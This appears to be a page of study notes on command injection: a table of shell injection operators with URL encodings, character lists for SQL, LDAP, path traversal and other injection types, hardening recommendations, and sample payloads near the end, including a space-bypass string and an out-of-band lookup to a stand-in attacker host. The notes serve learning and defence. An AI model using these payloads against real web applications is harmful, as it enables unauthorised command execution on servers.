Command injection
Injection Operator
Injection Character
URL-Encoded Character
Executed Command
Semicolon
;
%3b
Both
New Line
%0a
Both
Background
&
%26
Both (second output generally shown first)
Pipe
|
%7c
Both (only second output is shown)
AND
&&
%26%26
Both (only if first succeeds)
OR
||
%7c%7c
Second (only if first fails)
Sub-Shell
``
%60%60
Both (Linux-only)
Sub-Shell
$()
%24%28%29
Both (Linux-only)
Injection Type
Operators
SQL Injection
'
,
;
--
/* */
Command Injection
;
&&
LDAP Injection
*
(
)
&
|
XPath Injection
'
or
and
not
substring
concat
count
OS Command Injection
;
&
|
Code Injection
'
;
--
/* */
$()
${}
#{}
%{}
^
Directory Traversal/File Path Traversal
../
..\\
%00
Object Injection
;
&
|
XQuery Injection
'
;
--
/* */
Shellcode Injection
\x
\u
%u
%n
Header Injection
\r
%0d
%0a
%09
bypass spaces
(127.0.0.1%0a{ls,-la}
)
limitation when slashes stripped or blacklisted
Recommendations:
we should make sure that our back-end server is securely configured to reduce the impact in the event that the webserver is compromised. Some of the configurations we may implement are:
Use the web server's built-in Web Application Firewall (e.g., in Apache mod_security), in addition to an external WAF (e.g. Cloudflare, Fortinet, Imperva..)
Abide by the Principle of Least Privilege (PoLP) by running the web server as a low privileged user (e.g. www-data)
Prevent certain functions from being executed by the web server (e.g., in PHP disable_functions=system,...)
Limit the scope accessible by the web application to its folder (e.g. in PHP open_basedir = '/var/www/html')
Reject double-encoded requests and non-ASCII characters in URLs
Avoid the use of sensitive/outdated libraries and modules (e.g. PHP CGI)
Blind Cmd injection: 127.0.0.1 && ping -c 10 127.0.0.1 &
out of band : 127.0.0.1 & nslookup kgj2.web-atacker.com &
Last updated
Was this helpful?